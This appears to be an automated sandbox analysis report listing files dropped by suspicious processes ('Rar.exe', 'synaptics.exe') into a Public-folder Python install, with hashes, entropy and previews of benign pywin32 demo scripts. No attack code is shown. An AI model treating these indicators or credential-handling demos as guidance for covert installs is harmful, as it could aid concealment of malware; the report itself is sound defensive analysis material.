newbuffer.GetConsoleScreenBuffe

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\win32cred_demo.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2747
Entropy (8bit):	5.085452982327908
Encrypted:	false
SSDEEP:	48:cfg1SDMmh+nJ2e5bke5RnBzgm5go7Nke4VeLWeNPRLe712kDACXjLtPCPpyDku+h:kg1dgoJ22kPo7qlVeWYPRLk1PDACzpCb
MD5:	B2DD13257D87B2D861BAD12F9BE7D17B
SHA1:	B48DFABE4E44059CF9DDB076382928CA891189D3
SHA-256:	E68685BDC90CC014E4AA3BA4F6FC988E945F576A35DEB2BFFD1C69B06C30F7F8
SHA-512:	3A59D0B5DCBFB5C325338B5BFD398E2E289805D2B2C3B43DE7DD2951D1A1444C032CDE2EA2F962B01EC93BB49279064269DF07BCA24DEF9160418C2E0A5852E8
Malicious:	false
Reputation:	low
Preview:	""".Demonstrates prompting for credentials, saving, and loggging on with marshalled credential..Also shows how to load user's profile."""..import win32api.import win32con.import win32cred.import win32net.import win32profile.import win32security..## Prompt for a username/pwd for local computer.uiinfo = {. "MessageText": "Enter credentials for local machine",. "CaptionText": "win32cred_demo.py",.}.target, pwd, save = win32cred.CredUIPromptForCredentials(. TargetName=win32api.GetComputerName(),. AuthError=0,. Flags=win32cred.CREDUI_FLAGS_DO_NOT_PERSIST. \| win32cred.CREDUI_FLAGS_SHOW_SAVE_CHECK_BOX,. Save=False,. UiInfo=uiinfo,.)..attrs = [. {"Keyword": "attr1", "Flags": 0, "Value": "unicode data"},. {"Keyword": "attr2", "Flags": 0, "Value": b"character data"},.].cred = {. "Comment": "Created by win32cred_demo.py",. "UserName": target,. "TargetAlias": None,. "TargetName": target,. "CredentialBlob": pwd,. "Flags": win32cred.CRED_FLAGS_USERNAME

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\win32fileDemo.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1381
Entropy (8bit):	4.808237224456068
Encrypted:	false
SSDEEP:	24:qIRznj1ZjkzgY87MNgghZU+7Vx/YhVwfTDw/LsnOEw3a5dDTVtpYPGPdDTG/b1db:dLkz0gNghK/vfTkPK/Vr0bHh7Os
MD5:	E7B5B82C93BC5D6291AE5E98FEFE6773
SHA1:	277255439133F6941FCB2BEBEBFFC3020AB9DEBA
SHA-256:	4D203DB1FC60406DAAD07C19BDFA3F52A71B7D16E25BA0D56CCCD2818497AD87
SHA-512:	6C0BE979ED9D3B394244679413F7C5EDAD3D4309417B5E1AD82273AE2E2668BBE05407298BBD3A9BEEC85D6A7B3F3D92DDE37009E86588CD7CEF37E17EC56816
Malicious:	false
Reputation:	low
Preview:	# This is a "demo" of win32file - it used to be more a test case than a.# demo, so has been moved to the test directory...import os..# Please contribute your favourite simple little demo..import win32api.import win32con.import win32file...# A very simple demo - note that this does no more than you can do with.# builtin Python file objects, so for something as simple as this, you.# generally should use builtin Python objects. Only use win32file etc.# when you need win32 specific features not available in Python..def SimpleFileDemo():. testName = os.path.join(win32api.GetTempPath(), "win32file_demo_test_file"). if os.path.exists(testName):. os.unlink(testName). # Open the file for writing.. handle = win32file.CreateFile(. testName, win32file.GENERIC_WRITE, 0, None, win32con.CREATE_NEW, 0, None. ). test_data = "Hello\0there".encode("ascii"). win32file.WriteFile(handle, test_data). handle.Close(). # Open it for reading.. handle = win32file.Cre

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\win32gui_demo.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5028
Entropy (8bit):	4.86015472894631
Encrypted:	false
SSDEEP:	96:otvodpuc/LMExtDYu57+AJATWADoFpW2b/IL2JeieSvqE:Kvvc/Ljl5TFpW2b/IL2JeieSvqE
MD5:	B8AB179A28507872DFD508DF57A317E7
SHA1:	CB997291BEBC67B828994AEDED8944D25CF66445
SHA-256:	4619866C59EEF14BDB582B8A48CC18CCD75E67C2F64913C805B5A3C930BB2C4B
SHA-512:	21008AA2DD1695D584694C0E5D59DF0A341DA592D12FCD44F70F754F22D999BEA2A96B5AE735724EC21A9BC72E20DF7EE31824D2101F8036BF66396BAF3AA9C5
Malicious:	false
Reputation:	low
Preview:	# The start of a win32gui generic demo..# Feel free to contribute more demos back ;-)..import math.import random.import time..import win32api.import win32con.import win32gui...def _MyCallback(hwnd, extra):. hwnds, classes = extra. hwnds.append(hwnd). classes[win32gui.GetClassName(hwnd)] = 1...def TestEnumWindows():. windows = []. classes = {}. win32gui.EnumWindows(_MyCallback, (windows, classes)). print(. "Enumerated a total of %d windows with %d classes". % (len(windows), len(classes)). ). if "tooltips_class32" not in classes:. print("Hrmmmm - I'm very surprised to not find a 'tooltips_class32' class.")...def OnPaint_1(hwnd, msg, wp, lp):. dc, ps = win32gui.BeginPaint(hwnd). win32gui.SetGraphicsMode(dc, win32con.GM_ADVANCED). br = win32gui.CreateSolidBrush(win32api.RGB(255, 0, 0)). win32gui.SelectObject(dc, br). angle = win32gui.GetWindowLong(hwnd, win32con.GWL_USERDATA). win32gui.SetWindowLong(hwnd, win32con.GWL_USERDA

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\win32gui_devicenotify.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3829
Entropy (8bit):	5.010125673110548
Encrypted:	false
SSDEEP:	96:quG+AnP3C0axcdbC6DemA2FqcxD2/nccvjXHVFKOw/mo5GyG0:quEPSXOG6DemA2Fq47U7HVFxw/mw/
MD5:	F78AB5C17E8D69884B433067B37A478A
SHA1:	F390AF6B0116C94F3C837C54437109D91A4E3074
SHA-256:	3D09EAC656558AB7799B73B83AF3F3CA14756296B93269CE6DD9A20EBAC61E95
SHA-512:	ED028D0514998FD26BCEE418234872A82014506EBE494F782D6AA094F59E7D1894004EB463373DCA9E0349C5E3FD79E2EB52AA9669D4943C3058333C9A7FD9C8
Malicious:	false
Reputation:	low
Preview:	# Demo RegisterDeviceNotification etc. Creates a hidden window to receive.# notifications. See serviceEvents.py for an example of a service doing.# that..import sys.import time..import win32api.import win32con.import win32file.import win32gui.import win32gui_struct.import winnt..# These device GUIDs are from Ioevent.h in the Windows SDK. Ideally they.# could be collected somewhere for pywin32....GUID_DEVINTERFACE_USB_DEVICE = "{A5DCBF10-6530-11D2-901F-00C04FB951ED}"...# WM_DEVICECHANGE message handler..def OnDeviceChange(hwnd, msg, wp, lp):. # Unpack the 'lp' into the appropriate DEV_BROADCAST_* structure,. # using the self-identifying data inside the DEV_BROADCAST_HDR.. info = win32gui_struct.UnpackDEV_BROADCAST(lp). print("Device change notification:", wp, str(info)). if (. wp == win32con.DBT_DEVICEQUERYREMOVE. and info.devicetype == win32con.DBT_DEVTYP_HANDLE. ):. # Our handle is stored away in the structure - just close it. print("De

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\win32gui_dialog.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	15720
Entropy (8bit):	4.774516514388496
Encrypted:	false
SSDEEP:	384:lptehicVSsdWi2Glkdqfn9NvWevP2RkypmcZJeA:lHuiYn/+7RWcZJeA
MD5:	7FE3A04708C7BFC598956C5E83EF9031
SHA1:	1A01D40A3DFAD3D6B8B14570CCCB92B7DBAE4F20
SHA-256:	95D3AC68ED6E7E5770E33AF40A1A6FD2A805EE9223D53624ED42FD6AEDAE0FAA
SHA-512:	6241EDA928BF49A34049818555A4F9897ADFA894612B1285463FC28DEC0A2AD387051DB02E002109AB8A675C1F7287E1908F67D1213F2F438CC5CEB190E507F7
Malicious:	false
Reputation:	low
Preview:	# A demo of a fairly complex dialog..#.# Features:.# * Uses a "dynamic dialog resource" to build the dialog..# * Uses a ListView control..# * Dynamically resizes content..# * Uses a second worker thread to fill the list..# * Demostrates support for windows XP themes...# If you are on Windows XP, and specify a '--noxp' argument, you will see:.# * alpha-blend issues with icons.# * The buttons are "old" style, rather than based on the XP theme..# Hence, using:.# import winxpgui as win32gui.# is recommended..# Please report any problems..import sys..if "--noxp" in sys.argv:. import win32gui.else:. import winxpgui as win32gui..import array.import os.import queue.import struct..import commctrl.import win32api.import win32con.import win32gui_struct.import winerror..IDC_SEARCHTEXT = 1024.IDC_BUTTON_SEARCH = 1025.IDC_BUTTON_DISPLAY = 1026.IDC_LISTBOX = 1027..WM_SEARCH_RESULT = win32con.WM_USER + 512.WM_SEARCH_FINISHED = win32con.WM_USER + 513...class _WIN32MASKEDSTRUCT:. def __init__

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\win32gui_menu.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	16112
Entropy (8bit):	4.611080780743955
Encrypted:	false
SSDEEP:	192:kIV+2THm+d4iG1UGf2HmlL16Idc8uITjPjvfEEgIBXFNXIDz29AJ5JSIbB6BOnUy:kGHLy1UNmlLQkgEgI1SzMI5LbB6BOv
MD5:	2DD553D7A4EB19590D28DB62428B4D46
SHA1:	B391B8AFAE0A41869680637C0C2D549787B2A244
SHA-256:	6F6DF0AEDB7AE4CC0DA6A063CBB8A94A1333A0650B0DD016B20CCE37C9BAA7D8
SHA-512:	675A5D0192ED09F1FB8882BFEEAC907B75B0F61E53B1B0BE11B8E502BD417966AC79858706B32B088BA668B8BCE2B6CCFB0D70497291A6C67F7D4CCB2BB2C306
Malicious:	false
Reputation:	low
Preview:	# Demonstrates some advanced menu concepts using win32gui..# This creates a taskbar icon which has some fancy menus (but note that.# selecting the menu items does nothing useful - see win32gui_taskbar.py.# for examples of this...# NOTE: This is a work in progress. Todo:.# * The "Checked" menu items don't work correctly - I'm not sure why..# * No support for GetMenuItemInfo...# Based on Andy McKay's demo code..from win32api import ..# Try and use XP features, so we get alpha-blending etc..try:. from winxpgui import .except ImportError:. from win32gui import ..import array.import os.import struct.import sys..import win32con.from win32gui_struct import ..this_dir = os.path.split(sys.argv[0])[0]...class MainWindow:. def __init__(self):. message_map = {. win32con.WM_DESTROY: self.OnDestroy,. win32con.WM_COMMAND: self.OnCommand,. win32con.WM_USER + 20: self.OnTaskbarNotify,. # owner-draw related handlers.. win32con.W

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\win32gui_taskbar.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5206
Entropy (8bit):	4.754958557193041
Encrypted:	false
SSDEEP:	96:T9gvS0tVbYFk45y2aR6tgHtZGtX8kemI4sBKzmrHIwi:B+tVq7Y2aRHwvI4sQzvwi
MD5:	BD7764F8D17FFCA4629B558458642734
SHA1:	AD2FFDCE97F8A154C6809CA6EA9376CE5DAEBFB3
SHA-256:	3203AB7E1D178EFBFA1AB964B3A010884E6BD86720DD0F55A6DC9D1243F49F5E
SHA-512:	BFF7B59948A1D044CBB311728C95F58E28EE3E177164650BEAE232DB100E3898BA82B538852A139A2621ADB48F2BF0754332B3B506AE5E9A801A04141971EF53
Malicious:	false
Reputation:	low
Preview:	# Creates a task-bar icon. Run from Python.exe to see the.# messages printed..import os.import sys..import win32api.import win32con.import win32gui.import winerror...class MainWindow:. def __init__(self):. msg_TaskbarRestart = win32gui.RegisterWindowMessage("TaskbarCreated"). message_map = {. msg_TaskbarRestart: self.OnRestart,. win32con.WM_DESTROY: self.OnDestroy,. win32con.WM_COMMAND: self.OnCommand,. win32con.WM_USER + 20: self.OnTaskbarNotify,. }. # Register the Window class.. wc = win32gui.WNDCLASS(). hinst = wc.hInstance = win32api.GetModuleHandle(None). wc.lpszClassName = "PythonTaskbarDemo". wc.style = win32con.CS_VREDRAW \| win32con.CS_HREDRAW. wc.hCursor = win32api.LoadCursor(0, win32con.IDC_ARROW). wc.hbrBackground = win32con.COLOR_WINDOW. wc.lpfnWndProc = message_map # could also specify a wndproc... # Don't blow up if class already registered

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\win32netdemo.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script text executable Python script, ASCII text executable
Category:	dropped
Size (bytes):	8984
Entropy (8bit):	4.399025941579387
Encrypted:	false
SSDEEP:	96:ITaxEtPTFlOLG2zaBxuzJJXKz2MP7EKavZ8ozm/9UOGHjm35lmSV7b66wN6ChcEi:ImxEZTSEMT+28Fonw9x9ljYp1XC/Wxli
MD5:	380BD910ADE57D5EED72B6D8CE27AF8C
SHA1:	AF570E6EACEC750D47905AD0ED08A3BFC3B916A5
SHA-256:	04E8DC68E6C79B52F87B0AB5A1F4112AB57BFFCFB4C57D3D2D645623C23D665B
SHA-512:	93C47071AAF180C5F4E0A6BF9BF581F7EE8593F23933450C0A06D60DEC3DB03974EE9472AD3E2899975336633BAC4A69698B91BB8A22CE2701A3D7E02460A802
Malicious:	false
Reputation:	low
Preview:	import getopt.import sys.import traceback..import win32api.import win32net.import win32netcon.import win32security..verbose_level = 0..server = None # Run on local machine....def verbose(msg):. if verbose_level:. print(msg)...def CreateUser():. "Creates a new test user, then deletes the user". testName = "PyNetTestUser". try:. win32net.NetUserDel(server, testName). print("Warning - deleted user before creating it!"). except win32net.error:. pass.. d = {}. d["name"] = testName. d["password"] = "deleteme". d["priv"] = win32netcon.USER_PRIV_USER. d["comment"] = "Delete me - created by Python test code". d["flags"] = win32netcon.UF_NORMAL_ACCOUNT \| win32netcon.UF_SCRIPT. win32net.NetUserAdd(server, 1, d). try:. try:. win32net.NetUserChangePassword(server, testName, "wrong", "new"). print("ERROR: NetUserChangePassword worked with a wrong password!"). except win32net.error:. pas

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\win32rcparser_demo.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2809
Entropy (8bit):	4.910903276980213
Encrypted:	false
SSDEEP:	48:qv5dZhR3kNn5VCOYPy4GQ+zSO3I6fmBUDNiKjt6kOVp1JqUTD:qlR3e5Va64GQW3IUEUDN/ckkwUv
MD5:	CD8D88B9E04BD140A2CE1C48E899A250
SHA1:	7AE9354E81A559AE2C28E624BF2419CE12F6933D
SHA-256:	70D08CC0A5E47530DA0E45F975264B795A8473B6A2646593041F527DC2661CA0
SHA-512:	6E1E5EB57AF9AD39B51B01EC6CD0A923615B80C5D5D4490792057B3C551050B16C8584196B058E6DB48616F195552332534DD758AA5D99E062C8919D2379652C
Malicious:	false
Reputation:	low
Preview:	# A demo of the win32rcparser module and using win32gui..import os..import commctrl.import win32api.import win32con.import win32gui.import win32rcparser..this_dir = os.path.abspath(os.path.dirname(__file__)).g_rcname = os.path.abspath(. os.path.join(this_dir, "..", "test", "win32rcparser", "test.rc").)..if not os.path.isfile(g_rcname):. raise RuntimeError("Can't locate test.rc (should be at '%s')" % (g_rcname,))...class DemoWindow:. def __init__(self, dlg_template):. self.dlg_template = dlg_template.. def CreateWindow(self):. self._DoCreate(win32gui.CreateDialogIndirect).. def DoModal(self):. return self._DoCreate(win32gui.DialogBoxIndirect).. def _DoCreate(self, fn):. message_map = {. win32con.WM_INITDIALOG: self.OnInitDialog,. win32con.WM_CLOSE: self.OnClose,. win32con.WM_DESTROY: self.OnDestroy,. win32con.WM_COMMAND: self.OnCommand,. }. return fn(0, self.dlg_template, 0, message_m

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\win32servicedemo.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	579
Entropy (8bit):	4.864055610075746
Encrypted:	false
SSDEEP:	12:4L/LeAgAYADWcC1DuJ4ilQw+47lgrwS4pLpvn:dAtCceDuJrQd4pQn4pLpvn
MD5:	EE907338D6390DF677EB03E8B8EC1086
SHA1:	E374C563078378EC5C4F69797569ACBFFEB0D51B
SHA-256:	8B4ED673B62CF16AE39C308739A39C3B14BB3B567E85CE59224451041D0F5EEC
SHA-512:	48D03393639F46EFAFAA42A22430AD9056D35C943FDD84C235A37C0774C95DB26CD5F07E0582753DC051E81AC56744980A7260DE8BBCCE7A0B3327CAC2BA9412
Malicious:	false
Reputation:	low
Preview:	import win32con.import win32service...def EnumServices():. resume = 0. accessSCM = win32con.GENERIC_READ. accessSrv = win32service.SC_MANAGER_ALL_ACCESS.. # Open Service Control Manager. hscm = win32service.OpenSCManager(None, None, accessSCM).. # Enumerate Service Control Manager DB.. typeFilter = win32service.SERVICE_WIN32. stateFilter = win32service.SERVICE_STATE_ALL.. statuses = win32service.EnumServicesStatus(hscm, typeFilter, stateFilter). for short_name, desc, status in statuses:. print(short_name, desc, status)...EnumServices().

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\win32ts_logoff_disconnected.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	982
Entropy (8bit):	4.754642610339019
Encrypted:	false
SSDEEP:	12:SIGvZ5wLuzL7SZBqSKBkd9ovyNl3gfFyuxU2NYT4oan0ux/9duzU7gflQlyqTkd4:GvZ5VSZISVdOyaNn06dT0flQAdyCYsL6
MD5:	0C05782F9271A7CC8A5C02ECC2038C5C
SHA1:	2939D4168D724A07F9B9DDCFF507A33F208FE2A1
SHA-256:	28E8F3FAF3572494B50DB3B26A200F7A8589AC135CA8A8661AC3FCA999CC2A00
SHA-512:	84CA26CD7A55D2427C96400B90E2C781786C68396A7E240CA7A2F212894CB44B12F4BBDC4F57B9772628A7C204AD6F2039B1D22D4DE867DB3C3ED4C941275912
Malicious:	false
Reputation:	low
Preview:	""" Finds any disconnected terminal service sessions and logs them off""".import pywintypes.import win32ts.import winerror..sessions = win32ts.WTSEnumerateSessions(win32ts.WTS_CURRENT_SERVER_HANDLE).for session in sessions:. """. WTS_CONNECTSTATE_CLASS: WTSActive,WTSConnected,WTSConnectQuery,WTSShadow,WTSDisconnected,. WTSIdle,WTSListen,WTSReset,WTSDown,WTSInit. """. if session["State"] == win32ts.WTSDisconnected:. sessionid = session["SessionId"]. username = win32ts.WTSQuerySessionInformation(. win32ts.WTS_CURRENT_SERVER_HANDLE, sessionid, win32ts.WTSUserName. ). print("Logging off disconnected user:", username). try:. win32ts.WTSLogoffSession(win32ts.WTS_CURRENT_SERVER_HANDLE, sessionid, True). except pywintypes.error as e:. if e.winerror == winerror.ERROR_ACCESS_DENIED:. print("Can't kill that session:", e.strerror). else:. raise.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\win32wnet\testwnet.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script text executable Python script, ASCII text executable
Category:	dropped
Size (bytes):	4317
Entropy (8bit):	4.4834970191394135
Encrypted:	false
SSDEEP:	96:/xp0BWGNtCJT5kD166wm0ppbSKNYD4mA6drMg:/EB9tCJSDDUWDD4mA6dog
MD5:	FA8C4B2B1B0237E97E3633E46B2CB01C
SHA1:	43061EC48EF63A4A826CAF08ADD75B7E400143DD
SHA-256:	CAFB4C3B818FD035E620B4B78EE052637B72964CF4B307EED50439C85DDB764D
SHA-512:	EF119E7443E3D6A48922496109B92D0F82283BFF78957BFAF7693FB723E885CA85F8582E8AAA02A77346A10884B241AFEBCCD08BA5E89565936953062DBBAA35
Malicious:	false
Reputation:	low
Preview:	import os..import win32api.import win32wnet.from winnetwk import ..possible_shares = []...def _doDumpHandle(handle, level=0):. indent = " " level. while 1:. items = win32wnet.WNetEnumResource(handle, 0). if len(items) == 0:. break. for item in items:. try:. if item.dwDisplayType == RESOURCEDISPLAYTYPE_SHARE:. print(indent + "Have share with name:", item.lpRemoteName). possible_shares.append(item). elif item.dwDisplayType == RESOURCEDISPLAYTYPE_GENERIC:. print(. indent + "Have generic resource with name:", item.lpRemoteName. ). else:. # Try generic!. print(indent + "Enumerating " + item.lpRemoteName, end=" "). k = win32wnet.WNetOpenEnum(. RESOURCE_GLOBALNET, RESOURCETYPE_ANY, 0, item. ).

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\win32wnet\winnetwk.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3193
Entropy (8bit):	4.412241136607424
Encrypted:	false
SSDEEP:	48:J5O5v49qXZog2AKXC30YbYL38ltW3bIs8poj5gWLYfykTB3A0/4eql:y50qz27CkYbYT8ltWLI7poSgEJBwiil
MD5:	852EC0289B940F026C47130C5914B881
SHA1:	C6CA600BFD5F20D0252C945DB821AA00D4C8E8E2
SHA-256:	7C6EB6F55940269610519A1B40FAC617905022F76907D252E0229AACA2A02794
SHA-512:	DD654998EEB22ACB9D1BA3A6F141116959071BDC42F87C471997C66CC83567E3F2E7B0B956922E10B8E94A49162336AD07A2624239901343D2429EB330DE5670
Malicious:	false
Reputation:	low
Preview:	# Generated by h2py from d:\mssdk\include\winnetwk.h.WNNC_NET_MSNET = 0x00010000.WNNC_NET_LANMAN = 0x00020000.WNNC_NET_NETWARE = 0x00030000.WNNC_NET_VINES = 0x00040000.WNNC_NET_10NET = 0x00050000.WNNC_NET_LOCUS = 0x00060000.WNNC_NET_SUN_PC_NFS = 0x00070000.WNNC_NET_LANSTEP = 0x00080000.WNNC_NET_9TILES = 0x00090000.WNNC_NET_LANTASTIC = 0x000A0000.WNNC_NET_AS400 = 0x000B0000.WNNC_NET_FTP_NFS = 0x000C0000.WNNC_NET_PATHWORKS = 0x000D0000.WNNC_NET_LIFENET = 0x000E0000.WNNC_NET_POWERLAN = 0x000F0000.WNNC_NET_BWNFS = 0x00100000.WNNC_NET_COGENT = 0x00110000.WNNC_NET_FARALLON = 0x00120000.WNNC_NET_APPLETALK = 0x00130000.WNNC_NET_INTERGRAPH = 0x00140000.WNNC_NET_SYMFONET = 0x00150000.WNNC_NET_CLEARCASE = 0x00160000.WNNC_NET_FRONTIER = 0x00170000.WNNC_NET_BMC = 0x00180000.WNNC_NET_DCE = 0x00190000.WNNC_NET_DECORB = 0x00200000.WNNC_NET_PROTSTOR = 0x00210000.WNNC_NET_FJ_REDIR = 0x00220000.WNNC_NET_DISTINCT = 0x00230000.WNNC_NET_TWINS = 0x00240000.WNNC_NET_RDR2SAMPLE = 0x00250000.RESOURCE_CONNECTED

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\winprocess.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	7364
Entropy (8bit):	4.612277715258723
Encrypted:	false
SSDEEP:	192:djYESt2D2KXSt7kDgt7/hJYyu8wqNP1mhr:dE1UNXSt7kDgtT9XP1mhr
MD5:	8E6684A1613B87B8EADBDAF4CECE9B9B
SHA1:	9203CB302F86AE37C239ED6826233665F2C7C979
SHA-256:	B1AC447688BC6BD9824ECABED1A5F1FC41E0B1161192DE8036FE9D9E41F91D96
SHA-512:	DA4E3572592A043C73FBB00DAA18D64DFB79994CDE4C1F120C072CB38C3B2298BDA282D933B97052A83B541789D09C464CE59E9939562F2F51584BF5426A7A4D
Malicious:	false
Reputation:	low
Preview:	""".Windows Process Control..winprocess.run launches a child process and returns the exit code..Optionally, it can:. redirect stdin, stdout & stderr to files. run the command as another user. limit the process's running time. control the process window (location, size, window state, desktop).Works on Windows NT, 2000 & XP. Requires Mark Hammond's win32.extensions...This code is free for any purpose, with no warranty of any kind..-- John B. Dell'Aquila <jbd@alum.mit.edu>."""..import msvcrt.import os..import win32api.import win32con.import win32event.import win32gui.import win32process.import win32security...def logonUser(loginString):. """. Login as specified user and return handle.. loginString: 'Domain\nUser\nPassword'; for local. login use . or empty string as domain. e.g. '.\nadministrator\nsecret_password'. """. domain, user, passwd = loginString.split("\n"). return win32security.LogonUser(. user,. domain,. passwd,. w

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\include\PyWinTypes.h

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	C++ source, ASCII text
Category:	dropped
Size (bytes):	30076
Entropy (8bit):	5.341602934640227
Encrypted:	false
SSDEEP:	384:P8Bv5BnuEpBwYAmY61w/gFQ277qiF3VeYY99IqZO4AcNZHVWqu:UdHnBwYAmY61w/727xeYqIqk49HVs
MD5:	56FA1335CD7890A5FDD33CC47A3FB347
SHA1:	65DDC9821823293D434F68095240C83B819F8CDF
SHA-256:	BD99175F3A8A791ED5C175BF3B3D8796DB9C11D6D9FF0BBF239DEE67EEEF50C6
SHA-512:	6481B7F5249ACF68B48960385921CD7CD0223C369E955034F4F28566DE8169EB625800289DCFF8CB77D4BF2ADDB599B158225190EDBAB94B08FA48386F889221
Malicious:	false
Reputation:	low
Preview:	.#ifndef __PYWINTYPES_H__.#define __PYWINTYPES_H__..// If building under a GCC, tweak what we need..#if defined(__GNUC__) && defined(_POSIX_C_SOURCE).// python.h complains if _POSIX_C_SOURCE is already defined.#undef _POSIX_C_SOURCE.#endif..// windows rpc.h defines "small" as "char" which breaks Python's accu.h,.// so we undefine it before including python..#ifdef small.#undef small.#endif..#include "Python.h".#include "structmember.h".#include "windows.h"..// Helpers for our modules..// Some macros to help the pywin32 modules co-exist in py2x and py3k..// Creates and initializes local variables called 'module' and 'dict'...// Maybe these should all be removed - they existed to help in the py2->3.// transition..// On one hand: the code would be cleaner if they were all just re-inlined?.// On the other: high confidence everything uses the exact same patterns?.// (Regardless, some, eg, PYWIN_MODULE_INIT_RETURN_* should be re-inlined!)..// Use to define the function itself (ie, its name

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\lib\pycache\pywin32_bootstrap.cpython-310.pyc.21946400

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	5.477958729644305
Encrypted:	false
SSDEEP:	6:y/KVLlUA1pAZVsrPkf0rjyl3KZX43d4AQILXyJ4hs2onBMigt0lBBuaHxEM9Ar4t:C2RtWsrPJeMS4OjyJasv6OlBBVlVztmm
MD5:	B4991AB509209AB025FF74AD75143879
SHA1:	BCF6D86C1EEC4E53D323FC27FFB8494455E28084
SHA-256:	0FB1177D185CEBE835F9E36BD4AF2CDB33F3E18C9124107D56AC4E0850706798
SHA-512:	284C8B5E1B3A029B380315C76E430004614E3027123AE76202EAA3110EC9B8C5445431E2C431E34A464DC81E2B5387AAE33985DB3621E96B180AC2A96019ECDC
Malicious:	false
Reputation:	low
Preview:	o.......l..f.........................@...s....z.d.d.l.Z.W.n...e.y.......Y.d.S.w.d.d.l.Z.e.j.D.]<Z.e.j...e...rTe.e.d...r-e...e.......d.S.e.j.d.....e...sQe.j.d.....e.j.e...d...e.j.d.<.e.e.j...e.j.d.....e.j.d.<...d.S.q.d.S.)......N..add_dll_directory..PATH..).Z.pywin32_system32..ImportError..os..__path__..path..isdir..hasattrr......environ..startswith..replace..pathsep..r....r.....MC:\Users\Public\QExvbmVOb25l\lib\site-packages\win32\lib\pywin32_bootstrap.py..<module>....s".....................................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\lib\afxres.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	15094
Entropy (8bit):	4.777558868848426
Encrypted:	false
SSDEEP:	192:p9+7gM0XJNbpbCffiskBtXvyhE+RjE5LedEIq0E1G+fe:pJNlCff8yxjE5LI4v1A
MD5:	370BEB77C36C0B2E840E6AB850FCE757
SHA1:	0A87A029CA417DAA03D22BE6EDDFDDBAC0B54D7A
SHA-256:	462659F2891D1D767EA4E7A32FC1DBBD05EC9FCFA9310ECDC0351B68F4C19ED5
SHA-512:	4E274071CA052CA0D0EF5297D61D06914F0BFB3161843B3CDCFDE5A2EA0368974FD2209732A4B00A488C84A80A5AB94AD4FD430FF1E4524C6425BAA59E4DA289
Malicious:	false
Reputation:	low
